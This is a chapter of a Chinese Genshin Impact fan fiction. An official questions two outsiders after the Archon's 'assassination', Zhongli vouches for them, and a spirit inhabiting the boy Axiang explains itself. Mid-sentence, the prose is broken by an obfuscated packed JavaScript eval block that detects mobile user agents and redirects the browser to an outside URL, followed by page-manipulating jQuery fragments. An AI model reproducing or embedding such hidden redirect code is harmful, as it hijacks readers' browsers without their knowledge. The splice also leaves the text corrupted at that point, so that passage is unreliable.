36.第 36 章 聆尘
作品:《于世界之外醒来(原神同人)》 老章站在门外,身后还跟着两个人。廊下灯笼昏黄,她一时间没看清他们的面容,再定盯细看时,只见一个穿青灰袍服的身影,腰侧隐约有金属的暗光;另一个身形很是熟悉——岩金色的衣角,在夜风里轻轻摆动。
这个身影的出现顿时就让她安心了。她情不自禁的弯了弯嘴角:“章先生!钟离先生!”
“还有这位……程大人?”朗樾的目光最后回到陌生人脸上,露出迟疑的神色。
老章侧身,让出通路。
“我是总务司的程橄,专责典仪期间临时人员核察。方才从玉京台那边过来,有几处需当面确认。”
那人往前走了一步,灯火照亮他的脸——四十上下,面容沉静,眉间有长年伏案留下的竖纹。他目光烔烔的盯着她,包括她此时的每一丝表情变化。
朗樾眨了眨眼,忽然有些明白过来。“帝君遇刺”,总务司现在肯定在到处缉拿凶手。她和阿响并非璃月港本地人,今天又在请仙典仪上出现,总务司派人来查问一点不奇怪。
本想立刻请来人进来,但瞬间,她有些迟疑的微微转头——里面那个,没问题吧?
也许是这瞬间她表情的凝滞,程大人的脸色顿时凝重了。
没有往里闯。他只是站在那里,目光从朗樾脸上移开,越过她肩头,落向屋内那扇半敞的门。
“屋内那人,是跟你同一天进入民生疏导处的阿响?”他问。
语调平稳,却让朗樾后背倏地收紧。总务司的人竟这么快就掌握了他们的详细资料。
“是的。”她不敢迟疑,赶紧道:“里面是阿响……他今天在玉京台上昏过去了,刚醒没多久。”
程大人没有应。他的视线仍落在那扇门内,像在考量什么。
老章在旁边低声道:“那孩子我也见了,下午抬回来的时候脸白得跟纸似的,程大人若需问话,我进去唤他?”
程大人抬手,止住他。
“不必。”
他转向朗樾。
“他可能下床?”
朗樾下意识摇头。
“好。”程大人收回目光,“那便在内问。”
他跨过门槛。
靴底落在青砖上,极轻的一声。他没有往里多走,只停在门内两步,恰好是能看清屋内陈设、又不至于压迫病患的距离。
朗樾跟在他身后。她的手指悄悄攥紧了袖口,眼睛下意识的瞄向门外的钟离。钟离神色如常,见她瞄他,只是极细微的一颔首。
朗樾甚至都不知道这算不算一个暗示。但她轻轻吐了口气,手指也悄悄放开了。
程大人的目光扫过屋内,然后落在榻上半靠的人上,尤其仔细看过那凌乱的被角,和阿响苍白的脸色,最后在他左眼角下方的银痕上多停了一瞬。
他看了约莫两息。
“阿响。”他开口。
榻上的人迟缓地抬起眼帘。
“……嗯。”
声音低哑,干涩。是阿响的声音。
程大人没有立刻问话。他看着那张脸,看着那双隔雾看花似的、空茫的眼。
“望舒客栈帮工,入籍五年。”他背诵了两句,忽然问:“你登记时几岁?”
榻上的人眨了眨眼。
那眨眼很慢,像在辨认他说的是什么,好一会儿才道:“……不记得了。”
程大人眯了眯眼,又问:“你在望舒客栈经手过哪些活计?一个月工钱多少?”
阿响又想了片刻,才睁着空茫的双眼看他,答道:“扫地、搬东西、给厨房做事……工钱,每月8000摩拉。放在账上。尹管事不让取。”
听到这里,朗樾忍不住睁大了眼——她一直以为阿响根本没钱。因为他从望舒客栈出来时身上分文也无。可不让取又是什么情况?
虽然阿响的回答多有含糊不清的地方,程橄却奇异的没有多问,朗樾猜测这些回答多半都在程大人的掌握范围内。
他侧过身,目光重新落在朗樾脸上。
“你,过来些。”
朗樾往前迈了一步。
程大人从袖中取出一折薄册,展开。廊下的灯光不够亮,他略微侧身,让灯笼的光落在纸面上。
“今夏七月,望舒客栈处巡视的千岩军称有一名海难幸存者,女性,年二十许,自称失忆,无籍。此人于望舒客栈洗衣堂帮工,食宿抵薪。半月后,经往生堂钟离先生作保,录入民生疏导处,获临时户籍凭证。请仙典仪前夕,由疏导处推荐至总务司,分配往生堂担任典仪后备差务。”
他念得不疾不徐。
然后他抬起眼,看着她。
“以上,可有错漏?”
“没有。”
程大人的视线没有移开。
“你在望舒客栈期间,在哪位管事手下做工?”
朗樾眨眨眼,感觉自已的脸有些紧绷,赶紧放松让自已显得冷静。她一口答道:“是刘管事。”
“可曾接触账目?”
“不曾。”
“可曾独自外出采买?”
“不曾。”
“可曾与客商、船员、或任何自称来自璃月港的人长时间交谈?”
她摇摇头。“也不曾。”
“介绍你进望舒客栈的张婶是你父家还是母家亲戚?”
朗樾张了张嘴,发现程大人正目不转的盯着她。
她深吸口气,道:“大人,您可能‘记错’了……介绍我进客栈的是王婶,不是张婶。她既不是我父家、也不是我母家亲戚。我和王婶之前压根儿不认识,她是看我可怜,又怕客栈不敢接受道不清来历的外来人,所以干脆跟刘管事撒了个谎。但其他都是实话。大人,请仙典仪上发生的事,真的跟我们完全没关系。”
程大人静静听完,神色松了两分。他举起手中簿册,目光越过众人,落在门边那道岩金色的身影上。
“钟离先生,”他问得认真,语气却很是客气,“此二人之担保文书,系您亲笔所签?”
钟离闻言,向前迈了一步。
只一步。灯笼的光落在他肩上,将那张常年沉静无波的脸照出三分温润、七分泰然如山。他微微侧首,看向程橄手中的簿册,目光在那折起的纸边停了一瞬。
“确系亲笔。”
声音不高,却清晰如石落深潭。
“两位小友随我至璃月港时,身无长物,户籍悬空,按章法本不得久留。然其行止端正,所求者非施舍,乃一安身立命之机。”
他顿了顿。
“璃月重契约。既是担保,便是信其能守规自持、不逾矩分。至于……”
他的视线极轻地掠过屋内榻上——那半靠床头、垂目敛息的身影,又落回程橄面上。
“至于典仪生变,我未见其人有任何逾矩之行。”
程橄神色更松动了几分。他将簿册收起,重新纳入袖中。“钟离先生既如此说,程某自当记录在案。”
说罢,他侧身,目光重新扫过朗樾,扫过榻上那苍白安静的少年,正容道:“近日璃月不靖,总务司少不得要叨扰各处。二位既已受保,便安心休养,暂勿远游。若另有需核之处,届时自有人来。”
这话是对朗樾说的。
她愣了一瞬,旋即点头,声音还带着未散的紧绷:“是。我们明白。”
程橄颔首。他向钟离微一拱手,又向老章道了声“叨扰”,便举步离去。青灰袍摆拂过门槛,脚步声很快隐没在廊道尽头。
老章站在原地,看看钟离,又看看屋内的两人,欲言又止。末了只低声道:“钟离先生,我先去前面应着。您……”
“我稍后便来。”
老章点头,匆匆追着程大人去了。
廊下复归寂静。
钟离仍站在原处。
他没有立刻离开,也没有往里走。岩金色的眸子平静地落在榻上——落在那张熟悉又陌生的脸上。
片刻后,他收回视线。
“夜深了。”他说,语气如常平稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351058|198725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“歇息吧。”
朗樾的心嗖的又提了起来,她忍不住迈了一步:“钟离先生!”她想说别走,床上这个根本不是阿响!她根本不知道如何是好!可一肚子的话在看见钟离转头看过来时那似乎已洞悉一切的目光后,又吞了回去。
钟离如他来时的模样,还是对她微微一颔首,走了。
好一会儿,朗樾才拖动自已的身体,慢慢移到屋里惟一的那方凳子上从下。
屋子里沉默了片刻,床上的人忽然道:“刚刚那个人,他应该看出什么来了。”
朗越愤恨的抬起头:“那当然!他可是……”在对上明显是属于“聆尘”的眼神后,她把岩王帝君四个字咽了回去。钟离的秘密对于她来说不是秘密,但也不该于外人道。她咬住嘴唇别过眼去。
然后她听见一声很轻的、像叹气又不像的呼吸。
“……你,不用如此抗拒我。”
他的声音很轻,“如果可以的话,我并不想占据任何人的身体。”
朗樾将眼神移了过去。
聆尘靠在床头,后脑勺抵着墙,姿势还是那个懒散的、阿响从不会有的姿势,但脸上没有了让她非常讨厌的狡黠笑意。
他看着她。阿响的杏仁眼,瞳仁很黑,此刻里面没有光。
“他没选过,”他说,“我也不知道自己是怎么来的。有一天地脉里那些东西往他脑子里涌,他晕过去,醒来我就在了。”
他顿了顿。
“吓坏了。啊,我指的我。不是他。”
朗樾没有接话。
他垂下眼,感觉像是苦笑一般继续道:“一开始我啥也不敢做,生怕被他发现。但后来我发现,他根本不会觉得我可怕。”
“因为……他甚至不知道我在。”
朗樾喃喃的说:“……这不公平。”
他点了点头。
“嗯。对他不公平。”
他长长的叹了一声。
“对我又何尝公平呢。”
“我没问过他想不想要一个房客。他也没问过我想不想被附在一个人身上、用他的眼睛看这个世界。”
他顿了顿。“我们都是被塞进这场意外里的人。”
然后他抬起头,看着她。
“所以啊,我只能先拒绝你的请求了。因为我没办法离开。”
朗樾动了动嘴唇,什么也说不出来了。
“房子是可以空出来的。”他像是自言自语一般道,“你把家具搬走,窗户打开,通风、打扫、等灰落定,它就是空房子了。但阿响不是房子啊。如果非要形容的话,他于我,是一棵树。”
朗樾问他:“那你呢。”
他沉默了很久。
久到她以为他不会回答了。久到烛芯爆了一声,她把视线移向那簇跳动的火苗,又移回来。
“阿响他……非常的特别。他的灵魂通透而纯净,是天生的地脉平衡体,所以他会吸引非常多的东西,好的,不好的。地脉的那些碎片,他没消化掉,粘在心壁上,慢慢长出来……便成了我。”
他停顿片刻,继续道:“就像树受伤以后会分泌愈伤组织,把自己裂开的皮重新黏起来。这不是外来物,是树自己的血,凝固成的疤。而我,就是那个疤。”
“所以,我觉得我是被他需要的。”他努力的笑了一下,“不是你以为的脏东西,或者大坏蛋。”
过了很久,朗樾问:“如果有一天,他不再需要你了呢?”
他的目光闪烁了一下,然后平静的望来。
像一个人站在崖边,往下看了一眼,然后平静地收回视线。
“那他就不再需要我了。”
他说。
“不是死了。不是消失了。是他自己长得足够强壮,原来的那道疤彻底愈合了。”
他顿了顿。
“那时候,愈伤组织会自己脱落。”
“变成一块很轻很轻的、干掉的树皮。”
“……落在他的树根旁边。”

